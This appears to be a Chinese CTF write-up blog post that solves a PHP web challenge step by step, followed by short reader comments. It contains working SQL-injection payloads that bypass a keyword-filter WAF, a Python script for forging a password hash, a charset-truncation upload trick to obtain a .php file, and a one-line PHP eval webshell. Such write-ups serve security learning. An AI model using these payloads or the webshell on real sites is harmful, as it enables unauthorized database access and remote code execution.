一直觉得自己sql注入还不错 直到遇到雨牛这个题 Orz
我是雨牛的脑残粉 :)
按照惯例 先上代码 如果看到奇怪的echo,只是我的调试代码~
0x01 热身
read.php~
<?php
$file=isset($_GET['file'])?$_GET['file']:'';
if(empty($file)){
exit('The file parameter is empty,Please input it');
}
if( preg_match('/.php/i',$file) && is_file($file) ){
die("The parameter is not allow contain php!"); //
}
if( preg_match('/admin_index|\.\/|admin_xx_modify/i',$file) ){
die('Error String!');
}
$realfile = 'aaaaaa/../'.$file; //prevent to use agreement
if(!@readfile($realfile)){
exit('File not exists');
}
?>
看到第一个if 是&&一个is_file 那么只要后面为假就可以了
但是又要readfile能读到文件 所以用在文件名前面加斜杠 像这样http://6b47fcaa8f7909ec4.jie.sangebaimao.com/read.php?file=/search.php
获取各种源码
先看search页面
search.php
<?php
include 'common.php' ;
header('Content-type:text/html;charset=utf');
mysql_conn();
?>
<p>
为什么会有这认证码呢,是因为上次小明的老板来巡视的时候,发现这个系统储存了很多重要的信息,所以他希望这个系统变得更安全,然后他就啪啪啪的写了几行代码,<br>
然后就让自己的qq号变成了认证码了.<br>
虽然这让系统变得更安全,但是就苦了我们的小明了. 因为老板的qq号是个垃圾号, 十分的难记. 每次登陆系统的时候,小明就必须去翻一下本地的记录,找到qq号.<br>
但是时间长了,小明实在觉得很烦, 就决定把老板的qq号记录进数据库,然后每次就进去这个界面,用某种不为人知的方法来得到qq号.<br>
</p>
<center><form action="search.php" method="POST">
<input type="text" name="search">
<input type="submit" value="Search"></center>
<br>
<?php
if(!empty($search)){
$result = mysql_fetch_array(mysql_query("select qq from qq where qq like '$search'"));
mysql_close();
if($result){
echo "<center style=\"font-size:36px; color:red\">$result[qq]</center>";
}else{
echo "<center style=\"font-size:36px; color:red\">无此记录</center>";
}
}
?>
<center><a href="login.php?act=login">再次尝试登录。</a></center>
看到search页面的查询语句 是用like的形式 而且回显结果
select qq from qq where qq like '$search'
果断输入%号 发现不行
看看过滤了什么
common.php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(E_ALL ^ E_NOTICE);
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
foreach($_POST AS $_key=>$_value){
!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_POST[$_key]; //伪register globals
}
foreach($_GET AS $_key=>$_value){
!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_GET[$_key];
}
foreach($_COOKIE AS $_key=>$_value){
unset($$_key); //不允许使用COOKIE创建变量
}
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$filter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\(|@{1,2}\w+?\s*|\s+?.+?|.*(`|'|\").+(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM\s+?|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|FROM\s.?|\(select|\(\sselect|\bunion\b|select\s.+?";//过滤子查询各种
!get_magic_quotes_gpc() && $value=addslashes($value);
$value=check_sql($value);
#echo "\n<br>\$value=$value<br>";
webscan_StOpAttack($key,$value,$filter,"GET");
#echo "\$value=$value<br>";
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
function webscan_St0pAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) {
if (preg_match("/".$ArrFiltReq."/i",$StrFiltValue)==1){
exit('Hey boy,I\'m 360!');
}
if (preg_match("/".$ArrFiltReq."/i",$StrFiltKey)==1){
exit('Hey boy,I\'m 360!');
}
}
function check_sql($str) {
$count=0;
for ($i = 0; $i < strlen($str); $i++) {
if($str[$i]=='\\'){
$count++;
}
}
if($count && $count % 2 == 0){
exit('evil string');
}
#echo "zheli";
#echo "<br>$str<br>";
$check= preg_match('/select|\'|\"|,|%|insert|update|delete|union|into|load_file|outfile|or|\/\*/i', $str);
if($check) {
#echo "\$str=$str";
exit ("The data is unable to submit,Because it contain dengerous string,Please check it and clear it.");
}
$newstr="";
while($newstr!=$str){
$newstr=$str;
$str = str_replace("union", "", $str);
$str = str_replace("update", "", $str);
$str = str_replace("into", "", $str);
$str = str_replace("exec", "", $str);
$str = str_replace("select", "", $str);
$str = str_replace("delete", "", $str);
$str = str_replace("declear"," ",$str);
$str = str_replace("insert", "", $str);
}
return $str;
}
function webscan_StOpAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) {
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1 || strpos(strtolower(urlencode($StrFiltValue)),'%0b')){
exit('Hey boy,I\'m 360!');
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
exit('Hey boy,I\'m 360!');
}
}
function mysql_conn(){
$conn=mysql_connect('localhost','root','root') or die('could not connect'.mysql_error());
mysql_query('use test');
mysql_query("SET character_set_connection=utf8, character_set_results=utf8,character_set_client=utf8", $conn);
}
?>
喵的好像过滤了很多东西 有点乱
没关系 直接定位到回显的那句话 在check_sql函数中
$check= preg_match('/select|\'|\"|,|%|insert|update|delete|union|into|load_file|outfile|or|\/\*/i', $str);
if($check) {
#echo "\$str=$str";
exit ("The data is unable to submit,Because it contain dengerous string,Please check it and clear it.");
}
看到过滤了百分号,没事 匹配符还有下划线
百分号匹配任意个字符,下划线匹配单个字符 burp跑一下 10个下划线的时候得到结果
输入这个qq号进入login.php页面
0x02 常规思路
看到框的第一反应就是试一下雨牛的常用密码0.0 结果没对 233
来看一下login.php
<?php
include('common.php');
include('function.php');
session_start();
header('Content-type:text/html;charset=gbk');
mysql_conn();
if ($_SESSION[login] == 1) {
header('Location:/sgbm/admin_index.php');
}
if ($_SESSION[checkcode] == 1) {
?>
<center style="color:red;font-size:24">后台管理</center><br>
<form action="login.php?act=login" method="POST">
用户名:<input type="text" id="username" name="username" size="50px"><br>
密 码 :<input type="text" id="password" size="50px" name="password">
<br>
<input type="submit" value="Submit to login" name="submit">
</form>
<?php
if ($submit) {
if ($email && !preg_match("/\A\w+[-+_]*\s?\w+@\w+\.\w{2,4}(\Z|\.\w{2,4})/", $email)) { //允许输入 yu@qq.com || yu@qq.com.cn || yu_a@qq.com || yu-x@qq.com
exit("Email Wrong!");
}
foreach ($_REQUEST as $key => $value){
if (strpos($value, '(')) {
$filter = "UNION.+?SELECT|SELECT.+?FROM|MD5|0x|\/\*|\.\.\/|\.\/";
webscan_St0pAttack($key, $value, $filter, "GET");
}
}
if(empty($id)){
$id = 0;
}
$id=preg_replace('#[^\w\s]#i','',$id);
if (strlen($username) > 20) {
$username = substr($username, 0, 20);
}
if ($act == 'login') {
$sql = "select * from admin where username='$username' or id='$id' or email = '$email'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if ($result) {
if (think_ucenter_md5($password, $result['salt']) === $result['password']) {
$_SESSION['login'] = 1;
$_SESSION['auth'] = 1;
echo "<center style=\"font-size:36px; color:red\"><a href=\"./sgbm/admin_index.php\">Click jump to the Backstage</a></center>";
} else {
exit('<script>alert("Password of the account is not right")</script>');
}
} else {
exit('<script>alert("The account is not exists")</script>');
}
} else {
exit('<script>alert("Please login!login!login!login!login!login!login!login!login!login!login!login!")</script>');
}
}
} else {
?>
<?php
$result = mysql_fetch_array(mysql_query("select qq from qq limit 1"));
mysql_close();
$qq = $result[qq]; ?>
<form action="login.php" method="GET">
<p style="text-align: center; color: red">凭认证码进入后台</p>
<center>认证码:<input type="text" name="admincode"> <input type="submit" value="check"></center>
</form>
<?php
if (!empty($admincode)) {
if ($admincode != $qq) {
echo '<script>alert("认证码错误")</script>';
exit ('<script language=javascript>window.location.href="search.php"</script>');
} else {
$_SESSION[checkcode] = 1;
echo '<script language=javascript>window.location.href="login.php"</script>';
}
}
}
?>
看看我们感兴趣的地方 自然是跳转到./sgbm/admin_index.php
if ($act == 'login') {
$sql = "select * from admin where username='$username' or id='$id' or email = '$email'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if ($result) {
if (think_ucenter_md5($password, $result['salt']) === $result['password']) {
$_SESSION['login'] = 1;
$_SESSION['auth'] = 1;
echo "<center style=\"font-size:36px; color:red\"><a href=\"./sgbm/admin_index.php\">Click jump to the Backstage</a></center>";
想要进if查询$result必须要有结果 看一下 think_ucenter_md5 函数
function think_ucenter_md5($str, $key = 'ThinkUCenter')
{
return '' === $str ? '' : md5(sha1($str) . $key);
}
返回的是md5(sha1($str).$key)
所以应该是union注入了
看看$username,$id,$email哪个能被控制
在common.php中我们看到 程序用Add_S函数处理输入 然后注册$_POST,$GET的变量,销毁在$_COOKIE里的变量
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
foreach($_POST AS $_key=>$_value){
!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_POST[$_key]; //伪register globals
}
foreach($_GET AS $_key=>$_value){
!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_GET[$_key];
}
foreach($_COOKIE AS $_key=>$_value){
unset($$_key); //不允许使用COOKIE创建变量
}
并且在Add_S中进行了全局转义 $sql语句是
$sql = "select * from admin where username='$username' or id='$id' or email = '$email'";
全部带了引号 想注入的话 首先是逃逸引号 这种情况下一般是截断
往上看一点 很温馨的找到了
if (strlen($username) > 20) {
$username = substr($username, 0, 20);
}
如果长度大于20 就只取前20个字符 那我们只要输入 aaaaaaaaaaaaaaaaaaa' 19个a加一个单引号
就会被转义成 aaaaaaaaaaaaaaaaaaa' 21个字符
截取后为 aaaaaaaaaaaaaaaaaaa\ 转义了'$username' 拼接后的单引号
不过check_sql函数的过滤了
function check_sql($str) {
$count=0;
for ($i = 0; $i < strlen($str); $i++) {
if($str[$i]=='\\'){
$count++;
}
}
if($count && $count % 2 == 0){
exit('evil string');
}
$check= preg_match('/select|\'|\"|,|%|insert|update|delete|union|into|load_file|outfile|or|\/\*/i', $str);
不能用单引号 双引号 斜杠是偶数的话也不行 就是说斜杠也不能用
不过我们还有%00 转义后是\0 还有个小问题 $_POST是不会默认解码的
但是common.php中
foreach($_POST AS $_key=>$_value){
!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_POST[$_key]; //伪register globals
}
foreach($_GET AS $_key=>$_value){
!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_GET[$_key];
}
$_POST先于$_GET注册 所以我们可以在url传递参数覆盖$username
来试一波
1.php是简化过的login 本地测试的时候去掉一些繁琐的验证和跳转可以节省很多时间
可以看到成功逃逸了引号 看一下$id的限制
if(empty($id)){
$id = 0;
}
$id=preg_replace('#[^\w\s]#i','',$id);
\w表示字母数字下划线 \s表示任意空白 ^取反 外面的i表示大小写不敏感
意思就是说$id只能是字母数字下划线空白 目前$sql为
select * from admin where username='aaaaaaaaaaaaaaaaaaa\' or id='0' or email = ''
剧情需要 id的值要能连接俩个字符串 这里选择用or来连接 check_sql函数中
$check= preg_match('/select|\'|\"|,|%|insert|update|delete|union|into|load_file|outfile|or|\/\*/i', $str);
if($check) {
exit ("The data is unable to submit,Because it contain dengerous string,Please check it and clear it.");
}
while($newstr!=$str){
$newstr=$str;
$str = str_replace("union", "", $str);
$str = str_replace("update", "", $str);
$str = str_replace("into", "", $str);
$str = str_replace("exec", "", $str);
$str = str_replace("select", "", $str);
$str = str_replace("delete", "", $str);
$str = str_replace("declear"," ",$str);
$str = str_replace("insert", "", $str);
}
return $str;
过滤了or 但是下面将一些字符替换成空 而且是大小写不敏感
这个函数相当于只过滤了 ' " , % 这几个字符
于是用oexecr绕过 测试一下
现在的$sql
select * from admin where username='aaaaaaaaaaaaaaaaaaa\' or id='or' or email = ''
看看$email的限制
if ($email && !preg_match("/\A\w+[-+_]*\s?\w+@\w+\.\w{2,4}(\Z|\.\w{2,4})/", $email)) { //允许输入 yu@qq.com || yu@qq.com.cn || yu_a@qq.com || yu-x@qq.com
exit("Email Wrong!");
}
/\A\w+[-+_]*\s?\w+@\w+.\w{2,4}(\Z|.\w{2,4})/
\A 开始标记类似^符号 \Z 结束标记类似$符号 区别在于这俩个不受换行限制
[]中的字符可选 * 重复任意次 {m,n}匹配2到4次
这里需要注意\Z标记 贴个图就懂了
所以我们先满足email的正则 接下来可以随意搞
还有一点小问题 输入的$email前面是字符串 所以$email开始的字符要能连接字符串
前面已经说过只能是union注入了 很自然的想到用union
$email = union select@qq.com.cn,2,3,4,5 %23
这是一开始的想法 @是mysql变量起始符号 和php中的$类似 测试一下
可以过 那就来绕一下过滤 首先逗号是不能有的 我们可以用join
但是select后只能接@ 这样的话 $sql就得像这个样子
union select @id.com.cn,name,pass from
((select id from admin)a join (select username from admin)b join (select password from a
dmin)c join (select salt from admin)d join (select email from admin)e)
再次引入了逗号
这里卡了很久
最后重新看了这个正则(其实是基友的提醒)
/\A\w+[-+_]*\s?\w+@\w+.\w{2,4}(\Z|.\w{2,4})/
发现可以这样绕
like-- admin@qq.com.cn%0a1 union select * from ((select id from admin)a join (select username from admin)b join (select password from admin)c join (select salt from admin)d join (select email from admin)e)
这里%0a是换行 用来打断--空格的注释 看看效果
很好
check_sql函数上面已经说过了 Unioexecn seleexecct就可以绕过
看看那个超级复杂的正则中对union和select有影响的部分
UNION.+?SELECT((|@{1,2}\w+?\s|\s+?.+?|.(
|'|\").+(
|'|")\s*)
(select|(\sselect|\bunion\b|select\s.+?
然后进入 webscan_StOpAttack($key,$value,$filter,"GET");
function webscan_StOpAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) {
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1 || strpos(strtolower(urlencode($StrFiltValue)),'%0b')){
exit('Hey boy,I\'m 360!');
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
exit('Hey boy,I\'m 360!');
}
}
这里/$ArrFiltReq/is s表示模式中的点号元字符匹配所有字符,包含换行符
先看简单的这条 (select|(\sselect|\bunion\b|select\s.+?
(\sselect这里\s忘记了匹配多次 可以用 (%0a%0aselect的方式绕过
select\s.+? 可以用select(1)的方式绕过
\bunion\b 是匹配unoin这个单词 也比较简单 只要在前面加上字母数字就可以了
像这样
再看第一条
UNION.+?SELECT((|@{1,2}\w+?\s|\s+?.+?|.(
|'|\").+(
|'|")\s*)
union select后面不能接空格,不能接空白,反引号
这样的话上面的select\s就要改一下 用select+1的形式 +的编码是%2b
把上面的综合一下 $sql变成了
like-- a@abc.com.cn%0a1 oexecr id=8e0Unioexecn Seexeclect*from((%0ASeexeclect%2b1)a join (%0a%0aSeexeclect%2b1)b join (%0A%0ASeexeclect%2b1)c join (%0A%0ASeexeclect%2b1)d join (%0A%0ASeexeclect%2b1)e))%23
然而还没结束
login.php
foreach ($_REQUEST as $key => $value){
if (strpos($value, '(')) {
$filter = "UNION.+?SELECT|SELECT.+?FROM|MD5|0x|\/\*|\.\.\/|\.\/";
webscan_St0pAttack($key, $value, $filter, "GET");
}
}
当发现请求的数据里面有左扩号的时候又进行了一次过滤,这里放了个水 用的webscan_St0pAttack函数
function webscan_St0pAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) {
if (preg_match("/".$ArrFiltReq."/i",$StrFiltValue)==1){
exit('Hey boy,I\'m 360!');
}
if (preg_match("/".$ArrFiltReq."/i",$StrFiltKey)==1){
exit('Hey boy,I\'m 360!');
}
}
区别就在没有了s标记 那么这里的正则都可以用%0a来绕过 但是不能用0x
$sql 为
like-- a@abc.com.cn%0a1 oexecr id=8e0Unioexecn%0a( Seexeclect*%0afrom((%0A%0ASeexeclect%2b1)a join (%0A%0ASeexeclect%2b1)b join (%0A%0ASeexeclect%2b1)c join (%0A%0ASeexeclect%2b1)d join (%0A%0ASeexeclect%2b1)e ))%23
本地测试弹窗password not right
服务器测试弹窗 accout not exists
说明本地字段数不对 添加一个字段后 服务器测试弹窗password not right
我们的目标是要think_ucenter_md5($password, $result['salt']) === $result['password']
hash值的结果是随机的 可能会有字母 但是我们无法输入字母 因为引号和0x都被过滤了
我的想法是 生成一个只有数字的hash值 py脚本如下
#!/usr/bin/env python
import hashlib,itertools
def md5():
i=0
a=[c for c in "abcdefghijklmnopqrstuvwxyz"]
for j in itertools.product(a,repeat=10):
pow = "".join(j)
i=i+1
print i,
str1=hashlib.md5(pow).hexdigest()+"SALT"
str2=hashlib.md5(str1).hexdigest()
if (str2.isdigit()):
print pow
exit(0)
else:
pass
# pass
if __name__=="__main__":
md5()
新增的字段位置无法确定 提交6次请求遍历一遍就可以了
最后的payload
login.php?act=login&username=0123456789012345678%00&id=oexecr&email=like-- a@abc.com.cn%0a1 oexecr id=8e0Unioexecn%0a( Seexeclect*%0afrom((%0A%0ASeexeclect%2b1)a join (%0A%0ASeexeclect%2b1)b join (%0A%0ASeexeclect%2b1)c join (%0A%0ASeexeclect%2b86989721238789742522421481132813)d join (%0A%0ASeexeclect%2b1)e join (%0a%0aSeexeclect%2b1)f))%23
密码输入 aaaaanvejr 结果
没有错.. 只是进入了后台~
0x03 深入的思考
终于铺垫完了 来进入正题
对于这个正则
if ($email && !preg_match("/\A\w+[-+_]*\s?\w+@\w+\.\w{2,4}(\Z|\.\w{2,4})/", $email)) { //允许输入 yu@qq.com || yu@qq.com.cn || yu_a@qq.com || yu-x@qq.com
还可以这样绕
email=oexecr@qq.com.cn oexecr username=8.0unexecioN%0a( seexeclecT
用or来连接@ 过了正则再union 非常自然
对于这个过滤
$filter = "UNION.+?SELECT|SELECT.+?FROM|MD5|0x|\/\*|\.\.\/|\.\/";
直接用hex函数就可以了 select的时候unhex一下
其实还可以这样
function think_ucenter_md5($str, $key = 'ThinkUCenter')
{
return '' === $str ? '' : md5(sha1($str) . $key);
}
$str是空的时候返回空 那么只要控制选出的$password是空就可以了
后来雨牛跟我说p师傅绕过了0x的限制 表示目瞪口呆
赶紧回去再看一遍代码和笔记 恍然大悟
foreach ($_REQUEST as $key => $value){
if (strpos($value, '(')) {
$filter = "UNION.+?SELECT|SELECT.+?FROM|MD5|0x|\/\*|\.\.\/|\.\/";
webscan_St0pAttack($key, $value, $filter, "GET");
}
}
webscan_St0pAttack 函数是大小写敏感的 无论是0x还是0X都不能用
唯一的可能就是不进入这个if
再看到前面
foreach($_COOKIE AS $_key=>$_value){
unset($$_key); //不允许使用COOKIE创建变量
}
那么只用unset掉$_REQUEST 就可以了 膜拜p牛
0x04 截断上传
后台的代码
上传部分 admin_yu_upload.php
<?php
session_start();
include('../common.php');
mysql_conn();
?>
<center style="color:red;font-size:36px">File upload!</center><br>
<form enctype="multipart/form-data" action="" method="post">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
<?php
if ($_FILES) {
if (!is_uploaded_file($_FILES['file']['tmp_name'])) {//是否存在文件
exit('not exists');
}
$max_file_size = 20000;
$allowtype = '.jpg .gif .png';
$file = $_FILES["file"];
if ($max_file_size < $file["size"]) {//检查文件大小
exit('Your file is so big,Please reduce it');
}
$content = file_get_contents($file[tmp_name]);
if (strpos($content, '<?php')) {
exit('the file that you upload is contain dengerous content,please check it');
}
$filename = $file['name'];
$filetype = strtolower(strrchr($filename, "."));
if (!in_array($filetype, explode(" ", $allowtype))) {
exit('You can only upload .jpg or .gif or .png');
}
$destination_folder = './uploads/';
$destination_folder .= date('Y', time()) . "/" . date('m', time()) . "/";
if (!file_exists($destination_folder))
mkdir('./' . $destination_folder, 0777, true);
$file_pre = md5(time());
if (!getimagesize($file[tmp_name])) {
exit('error img');
}
$realname = $file_pre . $filetype;
$destination = $destination_folder . $realname;
//$destination = './uploads/'.date('Y', time()) . "/" . date('m', time()) . "/" . md5(time()) . $filetype;
if (move_uploaded_file($file[tmp_name], $destination)) {
$file[name] = addslashes($file[name]);
mysql_query("Insert into files(filename,realname,path) values ('$file[name]','$realname','$destination_folder')");
mysql_close();
@unlink($_FILES['file']['tmp_name']);
exit('Upload success');
} else {
exit('Upload falid');
}
}
这里检测了后缀 一般来说是无法绕过的 于是提供了一个改名的功能
admin_yu_filemanage.php
<?php
session_start();
include('../common.php');
mysql_conn();
?>
<center style="color:red;font-size:36px">Commit the file you want to rename</center><br>
<form action="admin_yu_filemanage.php">
filename:<input type="text" name="filename"><br>
realname:<input type="text" name="realname"><br>
<input type="submit" value="motify" name="motify">
</form>
<?php
if($motify=='motify'){
$result = @mysql_fetch_array(mysql_query("select * from files where filename = '$filename' and realname = '$realname'"));
if(!empty($filename) && !empty($realname)){
if($result){
if(rename($result[path].$result[realname],$result[path].$result[filename])){
exit('rename success');
}
}else{
exit('No the file where in the database');
}
}
}
?>
登陆进这个管理文件页面是进不去的 去掉session就可以进去了 (之前后台目录可以遍历 没登陆就进去了)
select * from files where filename = '$filename' and realname = '$realname'
这里无法逃逸引号 那只有截断
截断有俩种 一个是字符集 一个是长度
来看一下长度的
不知道filename字段长度没有关系 输入一个超长的 然后用burp爆破 看什么时候能返回正常就可以了
再来说字符集 用雨师傅的原话
第二种是利用截断:
当表的字符集是utf8_general_ci时,测试SQL:Insert into table values (concat('ab', 0x80, 'cd')),因为0x80不是有效的UTF-8字符,所以只有ab被写入数据库中,cd会被截断。
当表的字符集是gbk_chinese_ci时,测试SQL:Insert into table values (concat('ab', 0x8027, 'cd')),因为0x8027不是有效的gbk字符,所以只有ab被写入数据库中,cd会被截断。
xx.php%80.jpg 到数据库中就会是xx.php 再rename 成功getshell
这里是不能用00截断的。 因为00截断 在传递到_FILES里面的时候就已经被截断了
Yu.php%00.jpg 这样传递到_FILES里 其实files[name]就是yu.php
导致了通不过后缀的验证。只有通过mysql数据库对字符集来校验数据,发现非法数据时会抛弃其后续数据来达到截断 getshell。
只剩最后俩个检测了
if (!getimagesize($file[tmp_name])) {
exit('error img');
}
$content = file_get_contents($file[tmp_name]);
if (strpos($content, '<?php')) {
exit('the file that you upload is contain dengerous content,please check it');
}
上面这个 用正常的jpg头绕过 就是把php代码加到一个图片里面
下面这个 也比较常见
可以这样 <? eval($_POST[cmd]); ?>
也可以这样 <script language=php>eval($_POST[cmd]);</script>
flag在网站根目录找到
如果有其他巧妙的绕过思路 欢迎留言交流
瞬间懵逼:)
时间: 2016-04-26 at 18:28 回复强,无敌
时间: 2016-05-01 at 18:50 回复太叼了!!
时间: 2016-05-04 at 09:07 回复除了膜拜还能说什么2333
时间: 2016-06-04 at 20:19 回复受益匪浅!
时间: 2016-08-21 at 15:46 回复Whoa lots of excellent tips!
时间: 2018-05-18 at 11:52 回复